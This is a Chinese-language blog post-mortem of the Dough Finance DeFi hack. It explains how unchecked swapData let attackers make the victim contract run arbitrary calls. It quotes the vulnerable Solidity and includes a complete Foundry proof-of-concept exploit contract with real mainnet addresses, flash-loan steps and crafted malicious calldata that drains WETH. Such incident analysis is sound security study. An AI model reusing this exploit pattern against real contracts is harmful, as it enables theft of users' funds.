Dough Finance攻击事件---合约也有RCE

黑梨888
更新于 2024-07-31 20:09
阅读 1196

7.12DoughFinance合约遭受攻击，损失约1.8M。我对这个攻击进行了代码分析和步骤分解，并写了一个基于foundry的poc。

7.12 DoughFinance合约遭受攻击，损失约1.8M（https://x.com/Phalcon_xyz/status/1811661050707607889） 我对这个攻击进行了代码分析和步骤分解，并写了一个基于foundry的poc。
之前觉得web3不存在Remote Code Execution，现在看是我浅薄了。
# 基本信息
攻击交易：https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e?line=76
受害合约代码：
https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6
受害与攻击者链上message transaction：https://etherscan.io/tx/0x38ad3247c6420518c829ff1163c36cd564de5a72b1eaf800437827365e6c4e85
受害合约官方文档：
https://docs.dough.finance/
# 攻击交易步骤解析
下面我对攻击中重点步骤进行解释：
![image.png](https://img.learnblockchain.cn/attachments/2024/07/B56yRBGf66aa271203796.png)
- 5行：从balancer里借出usdc闪电贷(USDC 938,566,826,811)
- 12行：balancer回调攻击合约的receiveFlashLoan方法。黑客的攻击逻辑就是在这个步骤里实现的。
- 13-16行:攻击合约给替doughDSA合约偿还在aave中的借贷。（黑客为什么帮被害合约还款？我的推测是，后面要调用被害合约的闪电贷逻辑，这个逻辑最底层是调用aave的闪电贷，如果这个时候被害合约已经有aave欠款，那么后面就无法顺利调用有漏洞的逻辑。）
- 45行：攻击合约给ConnectorDeleverageParaswap合约 转了6U的USDC。为什么要这么做：当后续步骤调用他的闪电贷借贷5U，他底层逻辑调用需要转给doughDSA 5U，所以他必须至少有5U。
- 52行：攻击重点代码：攻击合约从ConnectorDeleverageParaswap合约中调用方法flashloanReq借出闪电贷，币种是usdc，价值5,000,000。其实这个数不大，去掉精度就只有5U，只是想触发后面的漏洞代码。在这次调用中，最后一个参数“SwapData”是byte类型，这个bytes最终会被解析成7个参数然后被doughDSA的call执行，黑客就是伪造了这个swapData参数，让doughDSA合约call了weth的transferFrom方法，直接给黑客合约transfer了大量的weth。具体构造信息可以看我的PoC的109行和119行。
- 53行：ConnectorDeleverageParaswap的flashloanReq底层调用了aace flashloan，所以ConnectorDeleverageParaswap实现闪电贷的逻辑就是帮用户向aave进行闪电贷，自己是一个中间商。
![image.png](https://img.learnblockchain.cn/attachments/2024/07/Xsh7Kadb66aa273e03c0c.png)
- 63行：因为52调用了ConnectorDeleverageParaswap的闪电贷，所以63行回调闪电贷的executeOperation的还款逻辑。
- 69行：攻击者合约执行闪电贷回调逻辑executionAction。这里面可以看出，黑客的没有实现任何逻辑，只是一个空函数。
![image.png](https://img.learnblockchain.cn/attachments/2024/07/TLvu2yvZ66aa27619b17f.png)
- 144行：回到ConnectorDeleverageParaswap的闪电贷回调逻辑，ConnectorDeleverageParaswap授权aave 最大数量的usdc转账额度。
- 147行：由于第52行的swapData注入了攻击参数，DoughDSA合约划转596,844,648,055,377,423,623个weth给攻击合约。这个就是最后导致资损的操作。
![image.png](https://img.learnblockchain.cn/attachments/2024/07/Ih37bAru66aa2777cc266.png)
- 209-212行：攻击合约通过uniswap 把偷到的weth换成UDSC。（因为还要还balancer的闪电贷，不把weth换成usdc无法偿还全部额度。）
- 225行：攻击合约偿还balancer闪电贷。
- 230行：攻击合约把获利转到自己的钱包。最终完成攻击合约自己的闪电贷逻辑。
# 问题代码分析
漏洞代码：https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6
flashloanReq方法是用户用来调用闪电贷的外部方法，在生命中可以看到最后一个参数swapData会被解析成data然后传入flashloan函数。

function flashloanReq(bool _opt, address[] memory debtTokens, uint256[] memory debtAmounts, uint256[] memory debtRateMode, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory swapData) external {
        bytes memory data = abi.encode(_opt, msg.sender, collateralTokens, collateralAmounts, swapData);
        IPool(address(POOL)).flashLoan(address(this), debtTokens, debtAmounts, debtRateMode, address(this), data, 0);
    }
这个flashloan最终会调用executeOperation方法，并且data参数也传入了进来。在下面代码的第六行，data参数被decode成5个变量，包括一个bytes数组类型的变量multiTokenSwapData。这个变量作为参数传入到deloopInOneOrMultipleTransactions方法。

function executeOperation(address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes calldata data) external override returns (bool) {
        if (initiator != address(this)) revert CustomError("not-same-sender");
        if (msg.sender != address(POOL)) revert CustomError("not-aave-sender");

FlashloanVars memory flashloanVars;
        (flashloanVars.opt, flashloanVars.dsaAddress, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData) = abi.decode(data, (bool, address, address[], uint256[], bytes[]));

deloopInOneOrMultipleTransactions(flashloanVars.opt, flashloanVars.dsaAddress, assets, amounts, premiums, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData);

return true;
    }
deloopInOneOrMultipleTransactions方法中,multiTokenSwapData变量被传入到deloopAllCollaterals

function deloopInOneOrMultipleTransactions(bool opt, address _dsaAddress, address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory multiTokenSwapData) private {
        // Repay all flashloan assets or withdraw all collaterals
        repayAllDebtAssetsWithFlashLoan(opt, _dsaAddress, assets, amounts);

// Extract all collaterals
        extractAllCollaterals(_dsaAddress, collateralTokens, collateralAmounts);

// Deloop all collaterals
        deloopAllCollaterals(multiTokenSwapData);

// Repay all flashloan assets or withdraw all collaterals
        repayFlashloansAndTransferToTreasury(opt, _dsaAddress, assets, amounts, premiums);
    }
deloopAllCollaterals方法中，multiTokenSwapData被解码成7个变量，并且第6个变量代表一个合约地址，第7个变量代表要调用的这个合约某个方法的声明（例如：transferFrom(address,address,uint256)）。
所以在下述代码的第10行，黑客通过构造最终的swapData，让weth合约从doughDSA合约中转出了大量的weth给黑客合约。

function deloopAllCollaterals(bytes[] memory multiTokenSwapData) private {        
        FlashloanVars memory flashloanVars;

for (uint i = 0; i < multiTokenSwapData.length;) {
            // Deloop
            (flashloanVars.srcToken, flashloanVars.destToken, flashloanVars.srcAmount, flashloanVars.destAmount, flashloanVars.paraSwapContract, flashloanVars.tokenTransferProxy, flashloanVars.paraswapCallData) = _getParaswapData(multiTokenSwapData[i]);

// using ParaSwap
            IERC20(flashloanVars.srcToken).safeIncreaseAllowance(flashloanVars.tokenTransferProxy, flashloanVars.srcAmount);
            (flashloanVars.sent, ) = flashloanVars.paraSwapContract.call(flashloanVars.paraswapCallData);
            if (!flashloanVars.sent) revert CustomError("ParaSwap deloop failed");

unchecked { i++; }
        }
    }
    
# PoC
PoC思路还是比较简单的：
1. 借balancer闪电贷
2. 帮doughDSA偿还欠aave的钱
3. 给doughConnector转6u以防他后续操作没有钱
4. 调用doughConnect的闪电贷，把恶意swapData传入
5. 把不法所得weth换成usdc，然后偿还balance闪电贷
通过在foundry上运行poc，一次可套利83W个USDC：
![image.png](https://img.learnblockchain.cn/attachments/2024/07/YydQ7hCJ66aa2877759a2.png)

代码如下：

```// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";

contract doughFianceAttack is Test {
    address balancerVaultAddress=0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address aaveDebtUsdcToken=0x72E95b8931767C79bA4EeE721354d6E99a61D004;
    address aavePoolV3Address=0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
    address UniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address circleUSDCToken=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address doughDsa=0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;
    address doughConnector=0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6;
    address wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

struct FlashloanVars {
        address dsaAddress;
        address srcToken;
        address destToken;
        address paraSwapContract;
        address tokenTransferProxy;
        uint256 srcAmount;
        uint256 destAmount;
        bool opt; // deloop 100% or in multiple steps
        bool sent;
        bytes paraswapCallData;
        bytes[] multiTokenSwapData;
        address[] debtTokens;
        address[] collateralTokens;
        uint256[] debtAmounts;
        uint256[] debtRateMode;
        uint256[] collateralAmounts;
    }

function setUp() external {

vm.createSelectFork("https://eth.llamarpc.com", 20288623 - 1);
        deal(address(circleUSDCToken), address(this), 7e6);

}

function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
        //1. 闪电贷
        uint256 flashLoanAmount=IERC20(aaveDebtUsdcToken).balanceOf(0x534a3bb1eCB886cE9E7632e33D97BF22f838d085);
        address[] memory tokens=new address[](1);
        tokens[0]=circleUSDCToken;
        uint256[] memory amounts=new uint256[](1);
        amounts [0]=flashLoanAmount;
        (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes memory maliciousUserData=abi.encode([flashloanVars1,flashloanVars2]);
        iBalancerVault(payable(balancerVaultAddress)).flashLoan(address(this),tokens,amounts,maliciousUserData);
    }

function receiveFlashLoan (address[] memory tokens,uint256[] memory amounts,uint256[] memory feeAmounts,bytes memory userData) external {
        //2. 替doughDsa还掉当前在aave的借贷,虽然我没想明白为什么帮它还款？？？？
        IERC20(circleUSDCToken).approve(aavePoolV3Address,type(uint256).max);
        InitializableImmutableAdminUpgradeabilityProxy aavePoolV3 = InitializableImmutableAdminUpgradeabilityProxy(payable(aavePoolV3Address));
        aavePoolV3.repay(circleUSDCToken,amounts[0],2,doughDsa);
        //3. 给dough转6个 USDC
        IERC20(circleUSDCToken).approve(address(this),type(uint256).max);
        IERC20(circleUSDCToken).transferFrom(address(this),doughConnector,6e6);
        //4. 调用dough的闪电贷，并把精心构造的恶意userData作为参数传入。
        ConnectorDeleverageParaswap DoughConnector = ConnectorDeleverageParaswap(payable(doughConnector));
        uint256[] memory doughFlashDebtAmounts=new uint256[](1);
        doughFlashDebtAmounts[0]=5e6;
        uint256[] memory doughFlashRateModes=new uint256[](1);
        doughFlashRateModes[0]=0;
        address[] memory doughFlashCollaterals=new address[](0);
        uint256[] memory doughFlashAmounts=new uint256[](0);
       (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes[] memory maliciousUserData = new bytes[](2);
         maliciousUserData[0]=abi.encode(flashloanVars1.srcToken,flashloanVars1.destToken,flashloanVars1.srcAmount,flashloanVars1.destAmount,flashloanVars1.paraSwapContract,flashloanVars1.tokenTransferProxy,flashloanVars1.paraswapCallData);
         maliciousUserData[1]=abi.encode(flashloanVars2.srcToken,flashloanVars2.destToken,flashloanVars2.srcAmount,flashloanVars2.destAmount,flashloanVars2.paraSwapContract,flashloanVars2.tokenTransferProxy,flashloanVars2.paraswapCallData);

DoughConnector.flashloanReq(false,tokens,doughFlashDebtAmounts,doughFlashRateModes,doughFlashCollaterals,doughFlashAmounts,maliciousUserData);

//5.把薅来的weth换成usdc，用于最后还闪电贷
        uint256 wethBalance=IERC20(wethAddress).balanceOf(address(this));
        IERC20(wethAddress).approve(UniswapV2Router,type(uint256).max);
        //IERC20(wethAddress).approve(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc,type(uint256).max);
        uint256 wethBalance2=IERC20(wethAddress).balanceOf(address(this));
        address[] memory swapAddress=new address[](2);
        swapAddress[0]=wethAddress;
        swapAddress[1]=circleUSDCToken;
        UniswapV2Router02(payable(UniswapV2Router)).swapExactTokensForTokens(wethBalance2,0,swapAddress,address(this),496744648055377423623);

//6.还balancerVault闪电贷
        IERC20(circleUSDCToken).transfer(balancerVaultAddress,amounts[0]);
        //0. 打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
    }
    function executeAction(uint256 connectorId, address tokenIn, uint256 amountIn, address toeknOut, uint256 amountOut, uint256 actionId) external{
    }

function createMaliciousData() private returns(FlashloanVars memory data1,FlashloanVars memory data2){
        //
        FlashloanVars memory flashloanVars1;
        flashloanVars1.srcToken=circleUSDCToken;
        flashloanVars1.destToken=circleUSDCToken;
        flashloanVars1.srcAmount=type(uint128).max;
        flashloanVars1.destAmount=type(uint128).max;
        flashloanVars1.paraSwapContract=doughDsa;
        flashloanVars1.tokenTransferProxy=doughDsa;
        bytes4 selector1=bytes4(keccak256("executeAction(uint256,address,uint256,address,uint256,uint256)"));
        flashloanVars1.paraswapCallData=abi.encodeWithSelector(selector1, 22,circleUSDCToken,5e6,wethAddress,596744648055377423623,2);

FlashloanVars memory flashloanVars2;
        flashloanVars2.srcToken=circleUSDCToken;
        flashloanVars2.destToken=circleUSDCToken;
        flashloanVars2.srcAmount=type(uint128).max;
        flashloanVars2.destAmount=type(uint128).max;
        flashloanVars2.paraSwapContract=wethAddress;
        flashloanVars2.tokenTransferProxy=aavePoolV3Address;
        bytes4 selector2=bytes4(keccak256("transferFrom(address,address,uint256)"));
        flashloanVars2.paraswapCallData=abi.encodeWithSelector(selector2, doughDsa,address(this),596744648055377423623);
        return (flashloanVars1,flashloanVars2);

}
    receive() external payable {}
}
```
# 经验总结
1. 写poc的时候也学习了下abi，很好的一次尝试，收获很多。之前看到传bytes参数都想绕着走，这回不得不面对。
2. 底层方法call使用的时候要谨慎，因为不好确认最终执行的方法是什么。
3. 用户输入检查一万遍也是值得的，无论在web2还是web3.
# Reference
1. 一篇英文分析：https://www.certik.com/resources/blog/3SMOuGMCSttY4pQW6I49W2-dough-finance-incident-analysis
2. 写poc卡住的时候，我参考了这个poc（主要是bytes userInput的生成我偷瞄了他的写法）：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-07/DoughFina_exp.sol

基本信息

攻击交易：https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e?line=76 受害合约代码： https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 受害与攻击者链上message transaction：https://etherscan.io/tx/0x38ad3247c6420518c829ff1163c36cd564de5a72b1eaf800437827365e6c4e85 受害合约官方文档： https://docs.dough.finance/

攻击交易步骤解析

下面我对攻击中重点步骤进行解释：

5行：从balancer里借出usdc闪电贷(USDC 938,566,826,811)
12行：balancer回调攻击合约的receiveFlashLoan方法。黑客的攻击逻辑就是在这个步骤里实现的。
13-16行:攻击合约给替doughDSA合约偿还在aave中的借贷。（黑客为什么帮被害合约还款？我的推测是，后面要调用被害合约的闪电贷逻辑，这个逻辑最底层是调用aave的闪电贷，如果这个时候被害合约已经有aave欠款，那么后面就无法顺利调用有漏洞的逻辑。）
45行：攻击合约给ConnectorDeleverageParaswap合约转了6U的USDC。为什么要这么做：当后续步骤调用他的闪电贷借贷5U，他底层逻辑调用需要转给doughDSA 5U，所以他必须至少有5U。
52行：攻击重点代码：攻击合约从ConnectorDeleverageParaswap合约中调用方法flashloanReq借出闪电贷，币种是usdc，价值5,000,000。其实这个数不大，去掉精度就只有5U，只是想触发后面的漏洞代码。在这次调用中，最后一个参数“SwapData”是byte类型，这个bytes最终会被解析成7个参数然后被doughDSA的call执行，黑客就是伪造了这个swapData参数，让doughDSA合约call了weth的transferFrom方法，直接给黑客合约transfer了大量的weth。具体构造信息可以看我的PoC的109行和119行。
53行：ConnectorDeleverageParaswap的flashloanReq底层调用了aace flashloan，所以ConnectorDeleverageParaswap实现闪电贷的逻辑就是帮用户向aave进行闪电贷，自己是一个中间商。
63行：因为52调用了ConnectorDeleverageParaswap的闪电贷，所以63行回调闪电贷的executeOperation的还款逻辑。
69行：攻击者合约执行闪电贷回调逻辑executionAction。这里面可以看出，黑客的没有实现任何逻辑，只是一个空函数。
144行：回到ConnectorDeleverageParaswap的闪电贷回调逻辑，ConnectorDeleverageParaswap授权aave 最大数量的usdc转账额度。
147行：由于第52行的swapData注入了攻击参数，DoughDSA合约划转596,844,648,055,377,423,623个weth给攻击合约。这个就是最后导致资损的操作。
209-212行：攻击合约通过uniswap 把偷到的weth换成UDSC。（因为还要还balancer的闪电贷，不把weth换成usdc无法偿还全部额度。）
225行：攻击合约偿还balancer闪电贷。
230行：攻击合约把获利转到自己的钱包。最终完成攻击合约自己的闪电贷逻辑。

问题代码分析

漏洞代码：https://vscode.blockscan.com/ethereum/0x9f54e8eaa9658316bb8006e03fff1cb191aafbe6 flashloanReq方法是用户用来调用闪电贷的外部方法，在生命中可以看到最后一个参数swapData会被解析成data然后传入flashloan函数。

function flashloanReq(bool _opt, address[] memory debtTokens, uint256[] memory debtAmounts, uint256[] memory debtRateMode, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory swapData) external { bytes memory data = abi.encode(_opt, msg.sender, collateralTokens, collateralAmounts, swapData); IPool(address(POOL)).flashLoan(address(this), debtTokens, debtAmounts, debtRateMode, address(this), data, 0); } 这个flashloan最终会调用executeOperation方法，并且data参数也传入了进来。在下面代码的第六行，data参数被decode成5个变量，包括一个bytes数组类型的变量multiTokenSwapData。这个变量作为参数传入到deloopInOneOrMultipleTransactions方法。

function executeOperation(address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes calldata data) external override returns (bool) { if (initiator != address(this)) revert CustomError("not-same-sender"); if (msg.sender != address(POOL)) revert CustomError("not-aave-sender");
```
FlashloanVars memory flashloanVars;
(flashloanVars.opt, flashloanVars.dsaAddress, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData) = abi.decode(data, (bool, address, address[], uint256[], bytes[]));

deloopInOneOrMultipleTransactions(flashloanVars.opt, flashloanVars.dsaAddress, assets, amounts, premiums, flashloanVars.collateralTokens, flashloanVars.collateralAmounts, flashloanVars.multiTokenSwapData);

return true;
```
} deloopInOneOrMultipleTransactions方法中,multiTokenSwapData变量被传入到deloopAllCollaterals

function deloopInOneOrMultipleTransactions(bool opt, address _dsaAddress, address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address[] memory collateralTokens, uint256[] memory collateralAmounts, bytes[] memory multiTokenSwapData) private { // Repay all flashloan assets or withdraw all collaterals repayAllDebtAssetsWithFlashLoan(opt, _dsaAddress, assets, amounts);
```
// Extract all collaterals
extractAllCollaterals(_dsaAddress, collateralTokens, collateralAmounts); 

// Deloop all collaterals
deloopAllCollaterals(multiTokenSwapData);

// Repay all flashloan assets or withdraw all collaterals
repayFlashloansAndTransferToTreasury(opt, _dsaAddress, assets, amounts, premiums);
```
} deloopAllCollaterals方法中，multiTokenSwapData被解码成7个变量，并且第6个变量代表一个合约地址，第7个变量代表要调用的这个合约某个方法的声明（例如：transferFrom(address,address,uint256)）。所以在下述代码的第10行，黑客通过构造最终的swapData，让weth合约从doughDSA合约中转出了大量的weth给黑客合约。

function deloopAllCollaterals(bytes[] memory multiTokenSwapData) private {
FlashloanVars memory flashloanVars;
```
for (uint i = 0; i &lt; multiTokenSwapData.length;) {
    // Deloop
    (flashloanVars.srcToken, flashloanVars.destToken, flashloanVars.srcAmount, flashloanVars.destAmount, flashloanVars.paraSwapContract, flashloanVars.tokenTransferProxy, flashloanVars.paraswapCallData) = _getParaswapData(multiTokenSwapData[i]);

    // using ParaSwap
    IERC20(flashloanVars.srcToken).safeIncreaseAllowance(flashloanVars.tokenTransferProxy, flashloanVars.srcAmount);
    (flashloanVars.sent, ) = flashloanVars.paraSwapContract.call(flashloanVars.paraswapCallData);
    if (!flashloanVars.sent) revert CustomError("ParaSwap deloop failed");

    unchecked { i++; }
}
```
}

PoC

PoC思路还是比较简单的：

借balancer闪电贷
帮doughDSA偿还欠aave的钱
给doughConnector转6u以防他后续操作没有钱
调用doughConnect的闪电贷，把恶意swapData传入
把不法所得weth换成usdc，然后偿还balance闪电贷通过在foundry上运行poc，一次可套利83W个USDC：

代码如下：

pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";

contract doughFianceAttack is Test {
    address balancerVaultAddress=0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address aaveDebtUsdcToken=0x72E95b8931767C79bA4EeE721354d6E99a61D004;
    address aavePoolV3Address=0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
    address UniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address circleUSDCToken=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address doughDsa=0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;
    address doughConnector=0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6;
    address wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    struct FlashloanVars {
        address dsaAddress;
        address srcToken;
        address destToken;
        address paraSwapContract;
        address tokenTransferProxy;
        uint256 srcAmount;
        uint256 destAmount;
        bool opt; // deloop 100% or in multiple steps
        bool sent;
        bytes paraswapCallData;
        bytes[] multiTokenSwapData;
        address[] debtTokens;
        address[] collateralTokens;
        uint256[] debtAmounts;
        uint256[] debtRateMode;
        uint256[] collateralAmounts;
    }

    function setUp() external {

        vm.createSelectFork("https://eth.llamarpc.com", 20288623 - 1);
        deal(address(circleUSDCToken), address(this), 7e6);

    }

    function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
        //1. 闪电贷
        uint256 flashLoanAmount=IERC20(aaveDebtUsdcToken).balanceOf(0x534a3bb1eCB886cE9E7632e33D97BF22f838d085);
        address[] memory tokens=new address[](1);
        tokens[0]=circleUSDCToken;
        uint256[] memory amounts=new uint256[](1);
        amounts [0]=flashLoanAmount;
        (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes memory maliciousUserData=abi.encode([flashloanVars1,flashloanVars2]);
        iBalancerVault(payable(balancerVaultAddress)).flashLoan(address(this),tokens,amounts,maliciousUserData);
    }

    function receiveFlashLoan (address[] memory tokens,uint256[] memory amounts,uint256[] memory feeAmounts,bytes memory userData) external {
        //2. 替doughDsa还掉当前在aave的借贷,虽然我没想明白为什么帮它还款？？？？
        IERC20(circleUSDCToken).approve(aavePoolV3Address,type(uint256).max);
        InitializableImmutableAdminUpgradeabilityProxy aavePoolV3 = InitializableImmutableAdminUpgradeabilityProxy(payable(aavePoolV3Address));
        aavePoolV3.repay(circleUSDCToken,amounts[0],2,doughDsa);
        //3. 给dough转6个 USDC
        IERC20(circleUSDCToken).approve(address(this),type(uint256).max);
        IERC20(circleUSDCToken).transferFrom(address(this),doughConnector,6e6);
        //4. 调用dough的闪电贷，并把精心构造的恶意userData作为参数传入。
        ConnectorDeleverageParaswap DoughConnector = ConnectorDeleverageParaswap(payable(doughConnector));
        uint256[] memory doughFlashDebtAmounts=new uint256[](1);
        doughFlashDebtAmounts[0]=5e6;
        uint256[] memory doughFlashRateModes=new uint256[](1);
        doughFlashRateModes[0]=0;
        address[] memory doughFlashCollaterals=new address[](0);
        uint256[] memory doughFlashAmounts=new uint256[](0);
       (FlashloanVars memory flashloanVars1,FlashloanVars memory flashloanVars2)=createMaliciousData();
        bytes[] memory maliciousUserData = new bytes[](2);
         maliciousUserData[0]=abi.encode(flashloanVars1.srcToken,flashloanVars1.destToken,flashloanVars1.srcAmount,flashloanVars1.destAmount,flashloanVars1.paraSwapContract,flashloanVars1.tokenTransferProxy,flashloanVars1.paraswapCallData);
         maliciousUserData[1]=abi.encode(flashloanVars2.srcToken,flashloanVars2.destToken,flashloanVars2.srcAmount,flashloanVars2.destAmount,flashloanVars2.paraSwapContract,flashloanVars2.tokenTransferProxy,flashloanVars2.paraswapCallData);

        DoughConnector.flashloanReq(false,tokens,doughFlashDebtAmounts,doughFlashRateModes,doughFlashCollaterals,doughFlashAmounts,maliciousUserData);

        //5.把薅来的weth换成usdc，用于最后还闪电贷
        uint256 wethBalance=IERC20(wethAddress).balanceOf(address(this));
        IERC20(wethAddress).approve(UniswapV2Router,type(uint256).max);
        //IERC20(wethAddress).approve(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc,type(uint256).max);
        uint256 wethBalance2=IERC20(wethAddress).balanceOf(address(this));
        address[] memory swapAddress=new address[](2);
        swapAddress[0]=wethAddress;
        swapAddress[1]=circleUSDCToken;
        UniswapV2Router02(payable(UniswapV2Router)).swapExactTokensForTokens(wethBalance2,0,swapAddress,address(this),496744648055377423623);

        //6.还balancerVault闪电贷
        IERC20(circleUSDCToken).transfer(balancerVaultAddress,amounts[0]);
        //0. 打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("USDC: ",IERC20(circleUSDCToken).balanceOf(address(this)));
    }
    function executeAction(uint256 connectorId, address tokenIn, uint256 amountIn, address toeknOut, uint256 amountOut, uint256 actionId) external{
    }

    function createMaliciousData() private returns(FlashloanVars memory data1,FlashloanVars memory data2){
        //
        FlashloanVars memory flashloanVars1;
        flashloanVars1.srcToken=circleUSDCToken;
        flashloanVars1.destToken=circleUSDCToken;
        flashloanVars1.srcAmount=type(uint128).max;
        flashloanVars1.destAmount=type(uint128).max;
        flashloanVars1.paraSwapContract=doughDsa;
        flashloanVars1.tokenTransferProxy=doughDsa;
        bytes4 selector1=bytes4(keccak256("executeAction(uint256,address,uint256,address,uint256,uint256)"));
        flashloanVars1.paraswapCallData=abi.encodeWithSelector(selector1, 22,circleUSDCToken,5e6,wethAddress,596744648055377423623,2);

        FlashloanVars memory flashloanVars2;
        flashloanVars2.srcToken=circleUSDCToken;
        flashloanVars2.destToken=circleUSDCToken;
        flashloanVars2.srcAmount=type(uint128).max;
        flashloanVars2.destAmount=type(uint128).max;
        flashloanVars2.paraSwapContract=wethAddress;
        flashloanVars2.tokenTransferProxy=aavePoolV3Address;
        bytes4 selector2=bytes4(keccak256("transferFrom(address,address,uint256)"));
        flashloanVars2.paraswapCallData=abi.encodeWithSelector(selector2, doughDsa,address(this),596744648055377423623);
        return (flashloanVars1,flashloanVars2);

    }
    receive() external payable {}
}

经验总结

写poc的时候也学习了下abi，很好的一次尝试，收获很多。之前看到传bytes参数都想绕着走，这回不得不面对。
底层方法call使用的时候要谨慎，因为不好确认最终执行的方法是什么。
用户输入检查一万遍也是值得的，无论在web2还是web3.
Reference
一篇英文分析：https://www.certik.com/resources/blog/3SMOuGMCSttY4pQW6I49W2-dough-finance-incident-analysis
写poc卡住的时候，我参考了这个poc（主要是bytes userInput的生成我偷瞄了他的写法）：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-07/DoughFina_exp.sol

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Dough Finance攻击事件---合约也有RCE

基本信息

攻击交易步骤解析

问题代码分析

PoC

经验总结

Reference

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